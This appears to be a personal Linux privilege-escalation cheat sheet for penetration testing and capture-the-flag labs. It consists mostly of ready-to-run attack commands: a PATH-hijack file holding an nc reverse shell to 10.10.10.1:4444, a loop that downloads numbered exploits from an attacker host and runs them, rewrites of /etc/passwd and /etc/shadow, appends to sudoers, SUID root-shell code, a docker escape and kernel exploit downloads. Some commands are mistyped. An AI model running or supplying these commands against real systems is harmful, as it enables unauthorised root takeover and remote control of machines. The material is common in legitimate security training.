Linux
Take your time. Don't try to do too much at once. Remember small steps - don't try to jump to root using rshell. Maybe run a few commands to see what they do
Once you've found the patch to escalation click here:
https://github.com/Ignitetechnologies/Privilege-Escalation



Post exploitation
ShellsLinux Privilege Escalation Examples
https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/privilege-escalation/linux/linux-examples.rst
MindMap

Useful commands to run
https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List
Things to look for
Miss-configured services (cronjobs)
any running as a privileged user?
Incorrect file permissions (exportfs, sudo)
Miss-configured environment ($PATH)
Binary with SUID bit
Software or OS with known vulnerabilities
Docker usergroup
SUDO
Read http://touhidshaikh.com/blog/?p=790
Can you su to root without a password?
su root
root ALL=(ALL) ALL
The root user can execute from ALL terminals, acting as ALL (any) users, and run ALL (any) command.
jelly ALL= /sbin/poweroff
The user jelly can from any terminal, run the command power off using jelly's user password.
jelly ALL = (root) NOPASSWD: /usr/bin/find
The user jelly can from any terminal, run the command find as root user without password.
Are you a sudo user already? Do you have access to powerful commands like chown or chmod?
sudo su -
Are you part of the sudo group, but not in the sudoers file?
id # 27(sudo)
pkexec sh
What can we run with sudo?
sudo -l
Try su as all users and the username as password
User bash history
cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_history
Spawning root shells
Create a copy of /bin/bash
or /bin/sh
can you call it rootbash
- make sure its owned by the root user. Then use /bin/bash -p
to run it
Questions to ask yourself
What user with what permissions + where am I?
id
pwd
What usernames could I login as?
grep -vE "nologin|false" /etc/passwd
What architecture?
uname -m
Whats running on the machine?
ps aux
look for something(s) that are running which is not standard
What files does the user have permission?
find / -user $USER
find / -name -*$USER* # looks for files with the username in it
What services are running?
netstat -antup
if things are here that are not on the nmap scan - could be a firewall rule blocking it is mysql in there? If so creds will be stored somewhere on the box
What is installed?
dpkg -l | awk '$1 ~ /ii/{print $2,$3}'
rpm -qa
#copy output over to kali and run /scripts/linux/pkg_lookup.sh to find a vulnerable version or do below
Run on target
FILE="packages.txt"; FILEPATH="/tmp/$FILE"; /usr/bin/rpm -q -f /usr/bin/rpm >/dev/null 2>&1; if [ $? -eq 0 ]; then rpm -qa --qf "%{NAME} %{VERSION}\n" | sort -u > $FILEPATH; echo "kernel $(uname -r)" >> $FILEPATH; else dpkg -l | grep ii | awk '{print $2 " " substr($3,1)}' > $FILEPATH; echo "kernel $(uname -r)" >> $FILEPATH; fi; echo ""; echo "[>] Done. Transfer $FILEPATH to your computer and run: "; echo ""; echo "./packages_compare.sh /path/to/$FILE"; echo "";
Copy /tmp/packages.txt which it has created back to your machine and then run
#download this
https://raw.githubusercontent.com/rowbot1/burmatscripts/master/bash/vuln_pkg_lookup.sh
./vuln_pkg_loookup.sh packages.txt
# Common locations for user installed software
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/
# Debian
dpkg -l
# CentOS, OpenSuse, Fedora, RHEL
rpm -qa (CentOS / openSUSE )
# OpenBSD, FreeBSD
pkg_info
What kernel version - low hanging fruit?
uname -a
What web app creds can i find?
find . -iname 'config' 2>/dev/null
Research where creds would be stored on certain webapps
Can you see the shadow file - get lucky?
cat /etc/shadow
What services are running as root?:
ps aux | grep root
Look for vulnerable/privileged components such as: mysql, sudo, udev, python
If /etc/exports if writable, you can add an NFS entry or change and existing entry adding the no_root_squash flag to a root directory, put a binary with SUID bit on, and get root.
Some programs that can be used to spawn a shell:
nmap
vim
less
more
Docker
Are you in a docker usergroup
uid=1000($user)gid=1000($user)groups=1000($user),24(cdrom),25(floppy),999(docker)
Get the image name docker ps
then run
docker run -v /:/mnt --rm -it $imagenamehere chroot /mnt sh
this will then get you a root shell
Cron Jobs
What jobs are scheduled?
crontab -l 2>/dev/null
ls -alh /var/spool/cron 2>/dev/null
ls -al /etc/ | grep cron 2>/dev/null
ls -al /etc/cron* 2>/dev/null
cat /etc/cron* 2>/dev/null
cat /etc/at.allow 2>/dev/null
cat /etc/at.deny 2>/dev/null
cat /etc/cron.allow 2>/dev/null
cat /etc/cron.deny 2>/dev/null
cat /etc/crontab 2>/dev/null
cat /etc/anacrontab 2>/dev/null
cat /var/spool/cron/crontabs/root 2>/dev/null
If there is a cronjob that runs as run but it has incorrect file permissions, you can change it to run your SUID binary and get a shell.
The following command will list processes running by root, permissions and NFS exports.
echo 'services running as root'; ps aux | grep root; echo 'permissions'; ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'; echo 'nfs info'; ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null
Use netstat to find other machines connected
netstat -ano
Confidential information and users
id
su
sudo -l
cat /etc/passwd
cat /etc/shadow
cat /etc/group
cat /etc/sudoers # who is in there are you?
ls -alh /var/mail/
ls -ahlR /root
ls -ahlR /home/
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 {print $1}' #any other super users?
Find interesting files and directories fast
find / -name "*.txt" 2> >(grep -v 'Permission denied' >&2)
grep -R -i "password" 2> >(grep -v 'Permission denied' >&2)
File Write
If you can write to any of these files or directories you have a good chance of PE
~/.ssh/authorized_keys
/var/www/html
/var/spool/cron/crontabs/$user
/etc/crontab
/etc/cron.*
$PATH or Libraries(.py)
/etc/systemd/system
/etc/init.d
/etc/sudoers
If you have found a download it to your box and open it in Ghidra. Check the main function to view de-compiled commands interesting binary SUID files / binaries
Things to remember:
Run strings on the binary. Read all of it, don't just read the bottom of the output - read the top. Look for programs that the binary calls like
curl
. If you spot one then if it doesn't have its full path you can exploit it by modifying the path variable and creating a file with/bin/bash.
See box symofonos:1.
The file will run as the owner no matter who executes it. So if root owns it, we can run it and hijack it to become root
ltrace ./binary
# step through binary may result in revealing password if password is needed to run it

Capabilities
Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.
https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities
Capabilities name
Description
CAP_AUDIT_CONTROL
Allow to enable/disable kernel auditing
CAP_AUDIT_WRITE
Helps to write records to kernel auditing log
CAP_BLOCK_SUSPEND
This feature can block system suspends
CAP_CHOWN
Allow user to make arbitrary change to files UIDs and GIDs (full filesystem access)
CAP_DAC_OVERRIDE
This helps to bypass file read, write and execute permission checks (full filesystem access)
CAP_DAC_READ_SEARCH
This only bypass file and directory read/execute permission checks
CAP_FOWNER
This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file
CAP_KILL
Allow the sending of signals to processes belonging to others
CAP_SETGID
Allow changing of the GID
CAP_SETUID
Allow changing of the UID (set UID of root in you process)
CAP_SETPCAP
Helps to transferring and removal of current set to any PID
CAP_IPC_LOCK
This helps to lock memory
CAP_MAC_ADMIN
Allow MAC configuration or state changes
CAP_NET_RAW
Use RAW and PACKET sockets
CAP_NET_BIND_SERVICE
SERVICE Bind a socket to internet domain privileged ports
CAP_SYS_CHROOT
Ability to call chroot()
World-writable folders
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
World-executable folders
find / -perm -o x -type d 2>/dev/null
World-writeable & executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null
gives a bit more info
find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root
Word writable directories for root
find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root
Look for binaries with the SUID or GUID bits set.
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null
find / -perm -1000 -type d 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
In plain English, this command says to find files in the / directory owned by the user root with SUID permission bits (-perm -4000), print them, and then redirect all errors (2 = stderr) to /dev/null (where they get thrown away). The reason for this redirect is that we aren't interested in things that we can't access, and access denied errors can fill up a terminal pretty fast.
Adding a binary to PATH, to hijack another SUID binary invokes it without the fully qualified path.
function /usr/bin/foo () { /usr/bin/echo "It works"; }
export -f /usr/bin/foo
/usr/bin/foo
It works
If you can get root to execute anything, the following will change a binary owner to him and set the SUID flag:
chown root:root /tmp/setuid;chmod 4777 /tmp/setuid;
#look for the string password in files in the current directory
grep -rwl "password"
/etc/shadow overwrite
If a SUID binary allows you to write to a file, overwrite /etc/shadow with the following then su to root using password rowbot
root:$6$saltsalt$zjiFtiGFBUkyU86/TTUE1Dgg6ZNem6QUdhcVVRsjLXvWGjCm90F/2.PDpGOfGCspP0/j6a6YLlImSqQZIUmqc.:18294:0:99999:7:::
Check running services and installed applications
ps -ef cat /etc/services dpkg -l rpm -qa
An example here is for instance that you see a local database like mysql is running. Maybe you are able to find credentials for it and log into it locally on the box
If MYSQL is running as root, you can run commands using sys_exec(). For instance, to add user to sudoers:
ps -aux | grep root | grep mysql
sys_exec('usermod -a -G admin username')
More about MYSQL:
https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/
Command to skip ignored lines in config files
alias nonempty="egrep -v '^[ \t]*#|^$'"
Find Linux distribution & version
cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release; cat /etc/redhat-release;
Check versions - use in conjunction with searchsploit
dpkg -l
rpm -qa
httpd -v
mysql --version
python --version
ruby -v
Architecture
cat /etc/*release
uname -m
Environment variables
cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set
Find printers
lpstat -a
Find apps installed;
ls -alh /usr/bin/; ls -alh /sbin/; dpkg -l; rpm -qa; ls -alh /var/cache/apt/archivesO; ls -alh /var/cache/yum/*;
Find writable configuration files
find /etc/ -writable -type f 2>/dev/null
Miss-configured services
cat /etc/syslog.conf; cat /etc/chttp.conf; cat /etc/lighttpd.conf; cat /etc/cups/cupsd.conf; cat /etc/inetd.conf; cat /etc/apache2/apache2.conf; cat /etc/my.conf; cat /etc/httpd/conf/httpd.conf; cat /opt/lampp/etc/httpd.conf; ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
Scheduled jobs
crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/cron*; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny'
Grep hardcoded passwords
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
if web server run in web root:
grep "localhost" ./ -R
Network configuration
/sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.conf; cat /etc/sysconfig/network; cat /etc/networks; iptables -L; hostname; dnsdomainname
List other users home directories
ls -ahlR /root/; ls -ahlR /home/
User mails
cat ~/.bashrc; cat ~/.profile; cat /var/mail/root; cat /var/spool/mail/root
Find interesting binaries
find / -name wget 2>/dev/null; find / -name nc* 2>/dev/null; find / -name netcat* 2>/dev/null; find / -name tftp* 2>/dev/null; find / -name ftp 2>/dev/null
Mounted filesystems
mount; df -h; cat /etc/fstab
If you can just change PATH, the following will add a poisoned ssh binary:
set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
chmod +x ssh
#Ippsec demoing $PATH PE
https://www.youtube.com/watch?v=3VxZNflJqsw
Generating SUID C Shell for /bin/bash
int main() {
setuid(0);
system("/bin/bash -p");
}
Compile using gcc -o <name> <filename.c>
Without interactive shell
echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c
If /etc/passwd has incorrect permissions, you can root:
echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd; su
or
echo "root:JblITMXA7I1hg:0:0:root:/root:/bin/bash" > /etc/passwd
then su using password rowbot
or
openssl passwd
#put in password, output is random sting
#pass this on the x part of root in /etc/passwd
su root using the password u set
Add user www-data to sudoers without password
chmod 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
If you can sudo chmod:
echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c $ sudo chown root:root /tmp/setuid; sudo chmod 4777 /tmp/setuid; /tmp/setuid
Wildcard injection if there is a cron with a wildcard in the command line, you can create a file, whose name will be passed as an argument to the cron task, For more info:
https://www.sans.org/reading-room/whitepapers/testing/attack-defend-linux-privilege-escalation-techniques-2016-37562
compile exploit fix error
gcc 9545.c -o 9545 -Wl,--hash-style=both
Find other uses in the system
$id; who; w; last; cat /etc/passwd | cut -d: -f1; echo 'sudoers:'; cat /etc/sudoers; sudo -l
grep home /etc/passwd|cut -d: -f1
World readable/writable files:
cho "world-writeable folders"; find / -writable -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -222 -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -o w -type d 2>/dev/null; echo "world-executable folders"; find / -perm -o x -type d 2>/dev/null; echo "world-writeable & executable folders"; find / \( -perm -o w -perm -o x \) -type d 2>/dev/null;
Find world-readable files:
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
Find nobody owned files
ind /dir -xdev \( -nouser -o -nogroup \) -print
Add user to sudoers in python.
#!/usr/bin/env python
import os
import sys
try:
os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
sys.exit()
Ring0 kernel exploit for 2.3/2.4
wget http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c; gcc 36038-6.c -m32 -o ring0; chmod +x ring0; ./ring0
Inspect web traffic
tcpdump tcp port 80 -w output.pcap -i eth0
Scripts to run
Copy them over
Creates folder /tmp/rowbot
and copies files on kali web server to target
wget -nd -np -R "index.html*" -P /tmp/rowbot --recursive http://kali$ip
What is running, any cron jobs any scripts? Use PSPY to find out
https://github.com/DominicBreuker/pspy
Useful script to run for initial scan - displays info on box
wget https://raw.githubusercontent.com/bngr/OSCP-Scripts/master/bangenum.sh
sed -i -e 's/\r$//' bangenum.sh
./bangenum.sh
Use this tool first to help you get in the PE mindset.
https://github.com/diego-treitos/linux-smart-enumeration
SUID search - good tool
https://github.com/Anon-Exploiter/SUID3NUM
https://github.com/TH3xACE/SUDO_KILLER
Automatically downloads and compiles exploit
The following script runs exploit suggester and automatically downloads and executes suggested exploits:
wget https://raw.githubusercontent.com/wwong99/pentest-notes/master/scripts/xploit_installer.py
USAGE: xploit_installer.py <exploit id>
Linux Remote Exploits
47: shellshock
48: heartbleed
Kernelpop
automated kernel vulnerability enumeration and exploitation

https://github.com/spencerdodd/kernelpop
Linux Local Exploits
49: linux-exploit-suggester
50: unix_privesc_check
51: kernel 2.4.x / 2.6.x (sock_sendpage 1)
52: kernel 2.4 / 2.6 (sock_sendpage 2)
53: kernel < 2.6.22 (ftruncate)
54: kernel < 2.6.34 (cap_sys_admin)
55: kernel 2.6.27 < 2.6.36 (compat)
56: kernel < 2.6.36-rc1 (can bcm)
57: kernel <= 2.6.36-rc8 (rds protocol)
58: *kernel < 2.6.36.2 (half nelson)
59: *kernel <= 2.6.37 (full nelson)
60: kernel 2.6 (udev)
61: kernel 3.13 (sgid)
62: kernel 3.13.0 < 3.19 (overlayfs 1)
63: kernel 3.14.5 (libfutex)
64: kernel 2.6.39 <= 3.2.2 (mempodipper)
65: *kernel 2.6.28 / 3.0 (alpha-omega)
66: kernel 2.6.22 < 3.9 (Dirty Cow)
67: kernel 3.7.6 (msr)
68: *kernel < 3.8.9 (perf_swevent_init)
69: kernel <= 4.3.3 (overlayfs 2)
70: kernel 4.3.3 (overlayfs 3)
71: kernel 4.4.0 (af_packet)
72: kernel 4.4.x (double-fdput)
73: kernel 4.4.0-21 (netfilter)
74: *kernel 4.4.1 (refcount)
wget http://www.securitysift.com/download/linuxprivchecker.py
Linux Kernel Exploits
Check kernel version
uname -r : Find Linux kernel version.
cat /proc/version : Show Linux kernel version with help of a special file.
hostnamectl | grep Kernel : For systemd based Linux distro you can use hotnamectl to display hostname and running Linux kernel version.
Then do a search for it on this page
https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md

Linux Kernel 2.6.39 - 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation:
CVE-2012-0056
Linux Kernel 2.6.22 - 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method):
CVE-2016-5195
Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation
CVE-2003-0127
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV below 1.4.1 - Local Privilege Escalation (1)
exploit/linux/local/udev_netlink
Unix Priv checker
wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/upc.sh
Other scripts:
wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
LinEnum
Remember to run them again if you get a user shell not just www-data shell
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
./LinEnum.sh -t -r report.txt
LinuxPrivchecker.py
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
wget https://raw.githubusercontent.com/PenturaLabs/Linux_Exploit_Suggester/master/Linux_Exploit_Suggester.pl
wget https://www.rebootuser.com/?p=1758
Exploits worth running
Always be sure to read the comments in exploits they inform you about which systems and version are vulnerable, which parts of the script need modification & which compilation flags to use. $targetip 32 bit or 64 bit? Be mindful of this when compiling exploits.
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
https://www.exploit-db.com/exploits/37292
CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
https://www.exploit-db.com/exploits/15285/
Linux Kernel <= 2.6.37 'Full-Nelson.c'
https://www.exploit-db.com/exploits/15704/
CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
https://git.zx2c4.com/CVE-2012-0056/about/
Linux CVE 2012-0056
wget -O exploit.c <http://www.exploit-db.com/download/18411>
gcc -o mempodipper exploit.c
./mempodipper
CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
https://dirtycow.ninja/
Compile dirty cow:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
Cross compiling exploits
gcc -m32 -o output32 hello.c #(32 bit)
gcc -m64 -o output hello.c # (64 bit)
Linux 2.6.32
https://www.exploit-db.com/exploits/15285/
Elevation in 2.6.x:
for a in 9352 9513 33321 15774 15150 15944 9543 33322 9545 25288 40838 40616 40611 ; do wget http://yourIP:8000/$a; chmod +x $a; ./$a; id; done
Get proof
echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;echo " "
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